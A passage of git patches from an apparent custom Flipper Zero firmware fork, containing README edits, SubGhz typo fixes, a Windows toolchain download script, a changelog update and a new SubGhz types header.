+## Support us so we can buy equipment and develop new features +* ETH/BSC/ERC20-Tokens: `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` +* BTC: `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` +* DOGE: `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` +* LTC: `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` + + # Where I can find IR, SubGhz, ... DBs, and other stuff? ## [Awesome Flipper Zero - Github](https://github.com/djsime1/awesome-flipperzero)

- # How to Build by yourself: ## Clone the Repository From 39b973d6174cd73d0a8a4acafc97ffd810ae99aa Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 26 Jun 2022 21:46:54 +0300 Subject: [PATCH 347/461] fix readme --- ReadMe.md | 1 + 1 file changed, 1 insertion(+) diff --git a/ReadMe.md b/ReadMe.md index 839ca349f..99133ec4d 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -104,6 +104,7 @@ then select **`flipper-z-f7-full-(CURRENT VERSION).dfu`**

+ # How to Build by yourself: ## Clone the Repository From 158e2c89e31f253ced8490ddee284177d9f44a1d Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 26 Jun 2022 23:03:39 +0300 Subject: [PATCH 348/461] fix typo --- lib/subghz/protocols/scher_khan.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/subghz/protocols/scher_khan.c b/lib/subghz/protocols/scher_khan.c index 233b95646..67140d868 100644 --- a/lib/subghz/protocols/scher_khan.c +++ b/lib/subghz/protocols/scher_khan.c @@ -210,7 +210,7 @@ static void subghz_protocol_scher_khan_check_remote_controller( SubGhzBlockGeneric* instance, const char** protocol_name) { /* - * MAGICAR 51 bit 00000001A99121DE83C3 MAGIC CODE, Dinamic + * MAGICAR 51 bit 00000001A99121DE83C3 MAGIC CODE, Dynamic * 0E8C1619E830C -> 000011101000110000010110 0001 1001 1110 1000001100001100 * 0E8C1629D830D -> 000011101000110000010110 0010 1001 1101 1000001100001101 * 0E8C1649B830E -> 000011101000110000010110 0100 1001 1011 1000001100001110 @@ -222,8 +222,8 @@ static void subghz_protocol_scher_khan_check_remote_controller( // case 35: //MAGIC CODE, Static // instance->protocol_name = "MAGIC CODE, Static"; // break; - case 51: //MAGIC CODE, Dinamic - *protocol_name = "MAGIC CODE, Dinamic"; + case 51: //MAGIC CODE, Dynamic + *protocol_name = "MAGIC CODE, Dynamic"; instance->serial = ((instance->data >> 24) & 0xFFFFFF0) | ((instance->data >> 20) & 0x0F); instance->btn = (instance->data >> 24) & 0x0F; instance->cnt = instance->data & 0xFFFF; From 787644f4ae8c65873c7f37a1143e5c96e196484f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 27 Jun 2022 17:22:13 +0300 Subject: [PATCH 349/461] Update .gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 48a37cfc9..60e67fdef 100644 --- a/.gitignore +++ b/.gitignore @@ -48,3 +48,4 @@ build/ # Toolchain toolchain*/ +docker-compose.yml From 77affd6cf1d16d5ef28db576a3c15bf943b2bb3b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 27 Jun 2022 17:23:35 +0300 Subject: [PATCH 350/461] Revert "Update .gitignore" This reverts commit 787644f4ae8c65873c7f37a1143e5c96e196484f. --- .gitignore | 1 - 1 file changed, 1 deletion(-) diff --git a/.gitignore b/.gitignore index 60e67fdef..48a37cfc9 100644 --- a/.gitignore +++ b/.gitignore @@ -48,4 +48,3 @@ build/ # Toolchain toolchain*/ -docker-compose.yml From bc6cc28c134842271b9eabfa3e0147b80105d654 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Tue, 28 Jun 2022 01:54:37 +0300 Subject: [PATCH 351/461] remove unused code --- .../subghz/scenes/subghz_scene_read_raw.c | 36 +++---------------- .../subghz/scenes/subghz_scene_save_name.c | 2 +- 2 files changed, 5 insertions(+), 33 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index 0577fbee3..74fa456b2 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -1,12 +1,10 @@ -#include -#include #include "../subghz_i.h" #include "../views/subghz_read_raw.h" #include #include #include -#define RAW_FILE_NAME "R_" +#define RAW_FILE_NAME "RAW_" #define TAG "SubGhzSceneReadRAW" bool subghz_scene_read_raw_update_filename(SubGhz* subghz) { @@ -243,22 +241,8 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { string_t temp_str; string_init(temp_str); - - FuriHalRtcDateTime datetime; - furi_hal_rtc_get_datetime(&datetime); - char strings[1][25]; - sprintf( - strings[0], - "%s%.4d%.2d%.2d%.2d%.2d", - "R", - datetime.year, - datetime.month, - datetime.day, - datetime.hour, - datetime.minute); - string_printf( - temp_str, "%s/%s%s", SUBGHZ_RAW_FOLDER, strings[0], SUBGHZ_APP_EXTENSION); + temp_str, "%s/%s%s", SUBGHZ_RAW_FOLDER, RAW_FILE_NAME, SUBGHZ_APP_EXTENSION); subghz_protocol_raw_gen_fff_data(subghz->txrx->fff_data, string_get_cstr(temp_str)); string_clear(temp_str); @@ -279,21 +263,9 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneNeedSaving); } else { //subghz_get_preset_name(subghz, subghz->error_str); - FuriHalRtcDateTime datetime; - furi_hal_rtc_get_datetime(&datetime); - char strings[1][25]; - sprintf( - strings[0], - "%s%.4d%.2d%.2d%.2d%.2d", - "R", - datetime.year, - datetime.month, - datetime.day, - datetime.hour, - datetime.minute); if(subghz_protocol_raw_save_to_file_init( (SubGhzProtocolDecoderRAW*)subghz->txrx->decoder_result, - strings[0], + RAW_FILE_NAME, subghz->txrx->frequency, subghz->txrx->preset)) { DOLPHIN_DEED(DolphinDeedSubGhzRawRec); @@ -359,4 +331,4 @@ void subghz_scene_read_raw_on_exit(void* context) { //filter restoration subghz_receiver_set_filter(subghz->txrx->receiver, SubGhzProtocolFlag_Decodable); -} +} \ No newline at end of file diff --git a/applications/subghz/scenes/subghz_scene_save_name.c b/applications/subghz/scenes/subghz_scene_save_name.c index 272cb6811..488ebeb28 100644 --- a/applications/subghz/scenes/subghz_scene_save_name.c +++ b/applications/subghz/scenes/subghz_scene_save_name.c @@ -138,4 +138,4 @@ void subghz_scene_save_name_on_exit(void* context) { // Clear view text_input_reset(subghz->text_input); -} +} \ No newline at end of file From a6242e8ca330fa5f3a447cb19fe8521d97504410 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Wed, 29 Jun 2022 01:31:07 +0300 Subject: [PATCH 352/461] Fix typo in SubGhz --- applications/subghz/views/subghz_read_raw.c | 78 +++++++++---------- applications/subghz/views/subghz_read_raw.h | 2 +- .../subghz/views/subghz_test_static.c | 10 +-- 3 files changed, 45 insertions(+), 45 deletions(-) diff --git a/applications/subghz/views/subghz_read_raw.c b/applications/subghz/views/subghz_read_raw.c index a4807d775..de8f371b7 100644 --- a/applications/subghz/views/subghz_read_raw.c +++ b/applications/subghz/views/subghz_read_raw.c @@ -26,7 +26,7 @@ typedef struct { bool rssi_history_end; uint8_t ind_write; uint8_t ind_sin; - SubGhzReadRAWStatus satus; + SubGhzReadRAWStatus status; } SubGhzReadRAWModel; void subghz_read_raw_set_callback( @@ -88,21 +88,21 @@ void subghz_read_raw_stop_send(SubGhzReadRAW* instance) { with_view_model( instance->view, (SubGhzReadRAWModel * model) { - switch(model->satus) { + switch(model->status) { case SubGhzReadRAWStatusTXRepeat: case SubGhzReadRAWStatusLoadKeyTXRepeat: instance->callback(SubGhzCustomEventViewReadRAWSendStart, instance->context); break; case SubGhzReadRAWStatusTX: - model->satus = SubGhzReadRAWStatusIDLE; + model->status = SubGhzReadRAWStatusIDLE; break; case SubGhzReadRAWStatusLoadKeyTX: - model->satus = SubGhzReadRAWStatusLoadKeyIDLE; + model->status = SubGhzReadRAWStatusLoadKeyIDLE; break; default: FURI_LOG_W(TAG, "unknown status"); - model->satus = SubGhzReadRAWStatusIDLE; + model->status = SubGhzReadRAWStatusIDLE; break; } return true; @@ -225,7 +225,7 @@ void subghz_read_raw_draw(Canvas* canvas, SubGhzReadRAWModel* model) { canvas_draw_line(canvas, 0, 48, 115, 48); canvas_draw_line(canvas, 115, 14, 115, 48); - switch(model->satus) { + switch(model->status) { case SubGhzReadRAWStatusIDLE: elements_button_left(canvas, "Erase"); elements_button_center(canvas, "Send"); @@ -289,26 +289,26 @@ bool subghz_read_raw_input(InputEvent* event, void* context) { with_view_model( instance->view, (SubGhzReadRAWModel * model) { uint8_t ret = false; - switch(model->satus) { + switch(model->status) { case SubGhzReadRAWStatusIDLE: // Start TX instance->callback(SubGhzCustomEventViewReadRAWSendStart, instance->context); - model->satus = SubGhzReadRAWStatusTXRepeat; + model->status = SubGhzReadRAWStatusTXRepeat; ret = true; break; case SubGhzReadRAWStatusTX: // Start TXRepeat - model->satus = SubGhzReadRAWStatusTXRepeat; + model->status = SubGhzReadRAWStatusTXRepeat; break; case SubGhzReadRAWStatusLoadKeyIDLE: // Start Load Key TX instance->callback(SubGhzCustomEventViewReadRAWSendStart, instance->context); - model->satus = SubGhzReadRAWStatusLoadKeyTXRepeat; + model->status = SubGhzReadRAWStatusLoadKeyTXRepeat; ret = true; break; case SubGhzReadRAWStatusLoadKeyTX: // Start Load Key TXRepeat - model->satus = SubGhzReadRAWStatusLoadKeyTXRepeat; + model->status = SubGhzReadRAWStatusLoadKeyTXRepeat; break; default: @@ -319,33 +319,33 @@ bool subghz_read_raw_input(InputEvent* event, void* context) { } else if(event->key == InputKeyOk && event->type == InputTypeRelease) { with_view_model( instance->view, (SubGhzReadRAWModel * model) { - if(model->satus == SubGhzReadRAWStatusTXRepeat) { + if(model->status == SubGhzReadRAWStatusTXRepeat) { // Stop repeat TX - model->satus = SubGhzReadRAWStatusTX; - } else if(model->satus == SubGhzReadRAWStatusLoadKeyTXRepeat) { + model->status = SubGhzReadRAWStatusTX; + } else if(model->status == SubGhzReadRAWStatusLoadKeyTXRepeat) { // Stop repeat TX - model->satus = SubGhzReadRAWStatusLoadKeyTX; + model->status = SubGhzReadRAWStatusLoadKeyTX; } return false; }); } else if(event->key == InputKeyBack && event->type == InputTypeShort) { with_view_model( instance->view, (SubGhzReadRAWModel * model) { - switch(model->satus) { + switch(model->status) { case SubGhzReadRAWStatusREC: //Stop REC instance->callback(SubGhzCustomEventViewReadRAWIDLE, instance->context); - model->satus = SubGhzReadRAWStatusIDLE; + model->status = SubGhzReadRAWStatusIDLE; break; case SubGhzReadRAWStatusLoadKeyTX: //Stop TxRx instance->callback(SubGhzCustomEventViewReadRAWTXRXStop, instance->context); - model->satus = SubGhzReadRAWStatusLoadKeyIDLE; + model->status = SubGhzReadRAWStatusLoadKeyIDLE; break; case SubGhzReadRAWStatusTX: //Stop TxRx instance->callback(SubGhzCustomEventViewReadRAWTXRXStop, instance->context); - model->satus = SubGhzReadRAWStatusIDLE; + model->status = SubGhzReadRAWStatusIDLE; break; case SubGhzReadRAWStatusLoadKeyIDLE: //Exit @@ -362,14 +362,14 @@ bool subghz_read_raw_input(InputEvent* event, void* context) { } else if(event->key == InputKeyLeft && event->type == InputTypeShort) { with_view_model( instance->view, (SubGhzReadRAWModel * model) { - if(model->satus == SubGhzReadRAWStatusStart) { + if(model->status == SubGhzReadRAWStatusStart) { //Config instance->callback(SubGhzCustomEventViewReadRAWConfig, instance->context); } else if( - (model->satus == SubGhzReadRAWStatusIDLE) || - (model->satus == SubGhzReadRAWStatusLoadKeyIDLE)) { + (model->status == SubGhzReadRAWStatusIDLE) || + (model->status == SubGhzReadRAWStatusLoadKeyIDLE)) { //Erase - model->satus = SubGhzReadRAWStatusStart; + model->status = SubGhzReadRAWStatusStart; model->rssi_history_end = false; model->ind_write = 0; string_set_str(model->sample_write, "0 spl."); @@ -381,10 +381,10 @@ bool subghz_read_raw_input(InputEvent* event, void* context) { } else if(event->key == InputKeyRight && event->type == InputTypeShort) { with_view_model( instance->view, (SubGhzReadRAWModel * model) { - if(model->satus == SubGhzReadRAWStatusIDLE) { + if(model->status == SubGhzReadRAWStatusIDLE) { //Save instance->callback(SubGhzCustomEventViewReadRAWSave, instance->context); - } else if(model->satus == SubGhzReadRAWStatusLoadKeyIDLE) { + } else if(model->status == SubGhzReadRAWStatusLoadKeyIDLE) { //More instance->callback(SubGhzCustomEventViewReadRAWMore, instance->context); } @@ -393,16 +393,16 @@ bool subghz_read_raw_input(InputEvent* event, void* context) { } else if(event->key == InputKeyOk && event->type == InputTypeShort) { with_view_model( instance->view, (SubGhzReadRAWModel * model) { - if(model->satus == SubGhzReadRAWStatusStart) { + if(model->status == SubGhzReadRAWStatusStart) { //Record instance->callback(SubGhzCustomEventViewReadRAWREC, instance->context); - model->satus = SubGhzReadRAWStatusREC; + model->status = SubGhzReadRAWStatusREC; model->ind_write = 0; model->rssi_history_end = false; - } else if(model->satus == SubGhzReadRAWStatusREC) { + } else if(model->status == SubGhzReadRAWStatusREC) { //Stop instance->callback(SubGhzCustomEventViewReadRAWIDLE, instance->context); - model->satus = SubGhzReadRAWStatusIDLE; + model->status = SubGhzReadRAWStatusIDLE; } return true; }); @@ -412,15 +412,15 @@ bool subghz_read_raw_input(InputEvent* event, void* context) { void subghz_read_raw_set_status( SubGhzReadRAW* instance, - SubGhzReadRAWStatus satus, + SubGhzReadRAWStatus status, const char* file_name) { furi_assert(instance); - switch(satus) { + switch(status) { case SubGhzReadRAWStatusStart: with_view_model( instance->view, (SubGhzReadRAWModel * model) { - model->satus = SubGhzReadRAWStatusStart; + model->status = SubGhzReadRAWStatusStart; model->rssi_history_end = false; model->ind_write = 0; string_reset(model->file_name); @@ -431,14 +431,14 @@ void subghz_read_raw_set_status( case SubGhzReadRAWStatusIDLE: with_view_model( instance->view, (SubGhzReadRAWModel * model) { - model->satus = SubGhzReadRAWStatusIDLE; + model->status = SubGhzReadRAWStatusIDLE; return true; }); break; case SubGhzReadRAWStatusLoadKeyTX: with_view_model( instance->view, (SubGhzReadRAWModel * model) { - model->satus = SubGhzReadRAWStatusLoadKeyIDLE; + model->status = SubGhzReadRAWStatusLoadKeyIDLE; model->rssi_history_end = false; model->ind_write = 0; string_set_str(model->file_name, file_name); @@ -449,7 +449,7 @@ void subghz_read_raw_set_status( case SubGhzReadRAWStatusSaveKey: with_view_model( instance->view, (SubGhzReadRAWModel * model) { - model->satus = SubGhzReadRAWStatusLoadKeyIDLE; + model->status = SubGhzReadRAWStatusLoadKeyIDLE; if(!model->ind_write) { string_set_str(model->file_name, file_name); string_set_str(model->sample_write, "RAW"); @@ -477,11 +477,11 @@ void subghz_read_raw_exit(void* context) { with_view_model( instance->view, (SubGhzReadRAWModel * model) { - if(model->satus != SubGhzReadRAWStatusIDLE && - model->satus != SubGhzReadRAWStatusStart && - model->satus != SubGhzReadRAWStatusLoadKeyIDLE) { + if(model->status != SubGhzReadRAWStatusIDLE && + model->status != SubGhzReadRAWStatusStart && + model->status != SubGhzReadRAWStatusLoadKeyIDLE) { instance->callback(SubGhzCustomEventViewReadRAWIDLE, instance->context); - model->satus = SubGhzReadRAWStatusStart; + model->status = SubGhzReadRAWStatusStart; } return true; }); diff --git a/applications/subghz/views/subghz_read_raw.h b/applications/subghz/views/subghz_read_raw.h index db75f1b48..1d4bb7dc0 100644 --- a/applications/subghz/views/subghz_read_raw.h +++ b/applications/subghz/views/subghz_read_raw.h @@ -44,7 +44,7 @@ void subghz_read_raw_add_data_rssi(SubGhzReadRAW* instance, float rssi); void subghz_read_raw_set_status( SubGhzReadRAW* instance, - SubGhzReadRAWStatus satus, + SubGhzReadRAWStatus status, const char* file_name); View* subghz_read_raw_get_view(SubGhzReadRAW* subghz_static); diff --git a/applications/subghz/views/subghz_test_static.c b/applications/subghz/views/subghz_test_static.c index d1a7bfd42..db01941f4 100644 --- a/applications/subghz/views/subghz_test_static.c +++ b/applications/subghz/views/subghz_test_static.c @@ -25,7 +25,7 @@ static const uint32_t subghz_test_static_keys[] = { struct SubGhzTestStatic { View* view; - SubGhzTestStaticStatus satus_tx; + SubGhzTestStaticStatus status_tx; SubGhzEncoderPrinceton* encoder; SubGhzTestStaticCallback callback; void* context; @@ -113,10 +113,10 @@ bool subghz_test_static_input(InputEvent* event, void* context) { furi_hal_subghz_start_async_tx( subghz_encoder_princeton_for_testing_yield, instance->encoder); - instance->satus_tx = SubGhzTestStaticStatusTX; + instance->status_tx = SubGhzTestStaticStatusTX; } } else if(event->type == InputTypeRelease) { - if(instance->satus_tx == SubGhzTestStaticStatusTX) { + if(instance->status_tx == SubGhzTestStaticStatusTX) { FURI_LOG_I(TAG, "TX Stop"); subghz_encoder_princeton_for_testing_stop( instance->encoder, furi_hal_get_tick()); @@ -124,7 +124,7 @@ bool subghz_test_static_input(InputEvent* event, void* context) { furi_hal_subghz_stop_async_tx(); notification_message(notification, &sequence_reset_red); } - instance->satus_tx = SubGhzTestStaticStatusIDLE; + instance->status_tx = SubGhzTestStaticStatusIDLE; } furi_record_close("notification"); } @@ -144,7 +144,7 @@ void subghz_test_static_enter(void* context) { furi_hal_gpio_init(&gpio_cc1101_g0, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow); furi_hal_gpio_write(&gpio_cc1101_g0, false); - instance->satus_tx = SubGhzTestStaticStatusIDLE; + instance->status_tx = SubGhzTestStaticStatusIDLE; with_view_model( instance->view, (SubGhzTestStaticModel * model) { From f5d9d78bd138b956c6bcb0542e38d62403ef0221 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Fri, 1 Jul 2022 14:59:42 +0300 Subject: [PATCH 353/461] fix readme --- ReadMe.md | 8 -------- 1 file changed, 8 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index 7432196d3..99133ec4d 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -48,17 +48,9 @@ Our Discord Community: - After all you need to insert microSD card back into flipper, navigate into filebrowser, open this file `update/f7-update-(CURRENT VERSION)/update.fuf` - Update will start, wait for all stages, and when flipper started after update, you can upload any custom [IR libs](https://github.com/logickworkshop/Flipper-IRDB), and other stuff using qFlipper or directly into microSD card -With Flipper attached over USB: - -`./fbt --with-updater flash_usb` - -Just building the package: - -`./fbt --with-updater updater_package`

-To update, copy the resulting directory to Flipper's SD card and navigate to `update.fuf` file in Archive app. ## With qFlipper From 89e077125b2f089945f0e5eb450196a3b741f86f Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sat, 2 Jul 2022 02:31:16 +0300 Subject: [PATCH 354/461] windows toolchain from ofw https://github.com/flipperdevices/flipperzero-firmware/pull/1351 --- .gitattributes | 3 ++ .gitignore | 2 +- fbt.cmd | 19 ++++++------ .../toolchain/windows-toolchain-download.ps1 | 30 +++++++++++++++++++ 4 files changed, 44 insertions(+), 10 deletions(-) create mode 100644 scripts/toolchain/windows-toolchain-download.ps1 diff --git a/.gitattributes b/.gitattributes index 6313b56c5..09c279e49 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1 +1,4 @@ * text=auto eol=lf +*.bat eol=crlf +*.ps1 eol=crlf +*.cmd eol=crlf \ No newline at end of file diff --git a/.gitignore b/.gitignore index 48a37cfc9..fc8ed1383 100644 --- a/.gitignore +++ b/.gitignore @@ -47,4 +47,4 @@ null.d build/ # Toolchain -toolchain*/ +/toolchain diff --git a/fbt.cmd b/fbt.cmd index 67d42132a..90e4e5f5e 100644 --- a/fbt.cmd +++ b/fbt.cmd @@ -1,11 +1,12 @@ @echo off - -set SCONS_EP=%~dp0\lib\scons\scripts\scons.py - -if exist ".git" ( - echo Updating git submodules - git submodule update --init -) - +set "toolchainRoot=%~dp0toolchain\i686-windows" set "SCONS_DEFAULT_FLAGS=-Q --warn=target-not-built" -python %SCONS_EP% %SCONS_DEFAULT_FLAGS% %* +if not exist "%~dp0.git" ( + echo ".git" directory not found, please clone repo via "git clone --recursive" + exit /B 1 +) +git submodule update --init +if not exist "%toolchainRoot%" ( + powershell -ExecutionPolicy Bypass -File %~dp0scripts\toolchain\windows-toolchain-download.ps1 +) +cmd /V /C "set "PATH=%toolchainRoot%\python;%toolchainRoot%\bin;%toolchainRoot%\protoc\bin;%toolchainRoot%\openocd\bin;%PATH%" && python lib\scons\scripts\scons.py %SCONS_DEFAULT_FLAGS% %*" \ No newline at end of file diff --git a/scripts/toolchain/windows-toolchain-download.ps1 b/scripts/toolchain/windows-toolchain-download.ps1 new file mode 100644 index 000000000..0ae5c7255 --- /dev/null +++ b/scripts/toolchain/windows-toolchain-download.ps1 @@ -0,0 +1,30 @@ +Set-StrictMode -Version 2.0 +$ErrorActionPreference = "Stop" +[Net.ServicePointManager]::SecurityProtocol = "tls12, tls11, tls" +$repo_root = (Get-Item "$PSScriptRoot\..\..").FullName +$toolchain_url = "https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-2022.06-i686-windows-flipper.zip" +$toolchain_zip = "gcc-arm-none-eabi-10.3-2022.06-i686-windows-flipper.zip" + +if (Test-Path -LiteralPath "$repo_root\toolchain\i686-windows") { + Write-Host -NoNewline "Removing old Windows toolchain.." + Remove-Item -LiteralPath "$repo_root\toolchain\i686-windows" -Force -Recurse + Write-Host "done!" +} +if (!(Test-Path -Path "$repo_root\$toolchain_zip" -PathType Leaf)) { + Write-Host -NoNewline "Downloading Windows toolchain.." + Invoke-WebRequest -Uri "$toolchain_url" -OutFile "$repo_root\$toolchain_zip" + Write-Host "done!" +} + +if (!(Test-Path -LiteralPath "$repo_root\toolchain")) { + New-Item "$repo_root\toolchain" -ItemType Directory +} + +Write-Host -NoNewline "Unziping Windows toolchain.." +Expand-Archive -LiteralPath "$toolchain_zip" -DestinationPath "$repo_root\" -Force +Move-Item -Path "$repo_root\gcc-arm-none-eabi-10.3-2022.06" -Destination "$repo_root\toolchain\i686-windows" +Write-Host "done!" + +Write-Host -NoNewline "Clearing temporary files.." +Remove-Item -LiteralPath "$repo_root\$toolchain_zip" -Force +Write-Host "done!" \ No newline at end of file From 5b4e7f8dd124e350ebd721907a384f3756233ea4 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sat, 2 Jul 2022 17:03:48 +0300 Subject: [PATCH 355/461] tc versioning from brunkbatya branch --- fbt.cmd | 10 +++++++++- scripts/toolchain/windows-toolchain-download.ps1 | 14 +++++++++----- 2 files changed, 18 insertions(+), 6 deletions(-) diff --git a/fbt.cmd b/fbt.cmd index 90e4e5f5e..a5de266ad 100644 --- a/fbt.cmd +++ b/fbt.cmd @@ -1,4 +1,5 @@ @echo off +set "flipper_toolchain_version=2" set "toolchainRoot=%~dp0toolchain\i686-windows" set "SCONS_DEFAULT_FLAGS=-Q --warn=target-not-built" if not exist "%~dp0.git" ( @@ -7,6 +8,13 @@ if not exist "%~dp0.git" ( ) git submodule update --init if not exist "%toolchainRoot%" ( - powershell -ExecutionPolicy Bypass -File %~dp0scripts\toolchain\windows-toolchain-download.ps1 + powershell -ExecutionPolicy Bypass -File %~dp0scripts\toolchain\windows-toolchain-download.ps1 "%flipper_toolchain_version%" +) +if not exist "%toolchainRoot%\VERSION" ( + powershell -ExecutionPolicy Bypass -File %~dp0scripts\toolchain\windows-toolchain-download.ps1 "%flipper_toolchain_version%" +) +set /p real_toolchain_version=<%toolchainRoot%\VERSION +if not "%real_toolchain_version%" == "%flipper_toolchain_version%" ( + powershell -ExecutionPolicy Bypass -File %~dp0scripts\toolchain\windows-toolchain-download.ps1 "%flipper_toolchain_version%" ) cmd /V /C "set "PATH=%toolchainRoot%\python;%toolchainRoot%\bin;%toolchainRoot%\protoc\bin;%toolchainRoot%\openocd\bin;%PATH%" && python lib\scons\scripts\scons.py %SCONS_DEFAULT_FLAGS% %*" \ No newline at end of file diff --git a/scripts/toolchain/windows-toolchain-download.ps1 b/scripts/toolchain/windows-toolchain-download.ps1 index 0ae5c7255..b850a8315 100644 --- a/scripts/toolchain/windows-toolchain-download.ps1 +++ b/scripts/toolchain/windows-toolchain-download.ps1 @@ -2,8 +2,10 @@ Set-StrictMode -Version 2.0 $ErrorActionPreference = "Stop" [Net.ServicePointManager]::SecurityProtocol = "tls12, tls11, tls" $repo_root = (Get-Item "$PSScriptRoot\..\..").FullName -$toolchain_url = "https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-2022.06-i686-windows-flipper.zip" -$toolchain_zip = "gcc-arm-none-eabi-10.3-2022.06-i686-windows-flipper.zip" +$toolchain_version = $args[0] +$toolchain_url = "https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-i686-windows-flipper-$toolchain_version.zip" +$toolchain_zip = "gcc-arm-none-eabi-10.3-i686-windows-flipper-$toolchain_version.zip" +$toolchain_dir = "gcc-arm-none-eabi-10.3-i686-windows-flipper" if (Test-Path -LiteralPath "$repo_root\toolchain\i686-windows") { Write-Host -NoNewline "Removing old Windows toolchain.." @@ -12,7 +14,8 @@ if (Test-Path -LiteralPath "$repo_root\toolchain\i686-windows") { } if (!(Test-Path -Path "$repo_root\$toolchain_zip" -PathType Leaf)) { Write-Host -NoNewline "Downloading Windows toolchain.." - Invoke-WebRequest -Uri "$toolchain_url" -OutFile "$repo_root\$toolchain_zip" + $wc = New-Object net.webclient + $wc.Downloadfile("$toolchain_url", "$repo_root\$toolchain_zip") Write-Host "done!" } @@ -21,8 +24,9 @@ if (!(Test-Path -LiteralPath "$repo_root\toolchain")) { } Write-Host -NoNewline "Unziping Windows toolchain.." -Expand-Archive -LiteralPath "$toolchain_zip" -DestinationPath "$repo_root\" -Force -Move-Item -Path "$repo_root\gcc-arm-none-eabi-10.3-2022.06" -Destination "$repo_root\toolchain\i686-windows" +Add-Type -Assembly "System.IO.Compression.Filesystem" +[System.IO.Compression.ZipFile]::ExtractToDirectory("$toolchain_zip", "$repo_root\") +Move-Item -Path "$repo_root\$toolchain_dir" -Destination "$repo_root\toolchain\i686-windows" Write-Host "done!" Write-Host -NoNewline "Clearing temporary files.." From 21fafb23552eaef8e670a6992fbd8d0df0c7933f Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sun, 3 Jul 2022 03:17:29 +0300 Subject: [PATCH 356/461] 0.61.1-cg1 changelog --- CHANGELOG.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1f41fbdfb..ede937803 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,16 +1,19 @@ ### New Update +* ToolChain versioning, better Windows support +* NFC: add Mifare Infineon +* some FBT fixes +#### Previous changes * Merged latest ofw changes - scons build system * Removed WAV Player - it's not bad as a concept but has a lot of problems * Some small fixes -#### Previous changes * Spectrum Analyzer - show current mode on screen when changing modes * Spectrum Analyzer - Ultra Narrow mode * Desktop autolock more time options * Merged latest ofw dev changes: SubGhz: PowerSmart protocol, Infrared app fixes * Merged latest ofw dev changes: - Infrared app C port, nfc: NTAG21x complete emulation, nfc: DESFire fixes - SubGhz: frequency analyzer combined frequency detection method, etc... +* Infrared app C port, nfc: NTAG21x complete emulation, nfc: DESFire fixes +* SubGhz: frequency analyzer combined frequency detection method, etc... * Merged PR - Added 10s Display Timeout * Games: Snake & Tetris now shows score * Volume patch in music player (testing needed) From f8ff747dba55c8a5462d23f237806fe5c20d81f5 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sun, 3 Jul 2022 21:01:23 +0300 Subject: [PATCH 357/461] Prepare subghz changes --- applications/subghz/helpers/subghz_types.h | 70 ++++++++++++++++++++++ applications/subghz/subghz_i.h | 64 +------------------- 2 files changed, 71 insertions(+), 63 deletions(-) create mode 100644 applications/subghz/helpers/subghz_types.h diff --git a/applications/subghz/helpers/subghz_types.h b/applications/subghz/helpers/subghz_types.h new file mode 100644 index 000000000..2246724d8 --- /dev/null +++ b/applications/subghz/helpers/subghz_types.h @@ -0,0 +1,70 @@ +#pragma once + +/** SubGhzNotification state */ +typedef enum { + SubGhzNotificationStateStarting, + SubGhzNotificationStateIDLE, + SubGhzNotificationStateTx, + SubGhzNotificationStateRx, + SubGhzNotificationStateRxDone, +} SubGhzNotificationState; + +/** SubGhzTxRx state */ +typedef enum { + SubGhzTxRxStateIDLE, + SubGhzTxRxStateRx, + SubGhzTxRxStateTx, + SubGhzTxRxStateSleep, +} SubGhzTxRxState; + +/** SubGhzHopperState state */ +typedef enum { + SubGhzHopperStateOFF, + SubGhzHopperStateRunnig, + SubGhzHopperStatePause, + SubGhzHopperStateRSSITimeOut, +} SubGhzHopperState; + +/** SubGhzRxKeyState state */ +typedef enum { + SubGhzRxKeyStateIDLE, + SubGhzRxKeyStateNoSave, + SubGhzRxKeyStateNeedSave, + SubGhzRxKeyStateBack, + SubGhzRxKeyStateStart, + SubGhzRxKeyStateAddKey, + SubGhzRxKeyStateExit, + SubGhzRxKeyStateRAWLoad, + SubGhzRxKeyStateRAWSave, +} SubGhzRxKeyState; + +/** SubGhzLoadKeyState state */ +typedef enum { + SubGhzLoadKeyStateUnknown, + SubGhzLoadKeyStateOK, + SubGhzLoadKeyStateParseErr, + SubGhzLoadKeyStateOnlyRx, +} 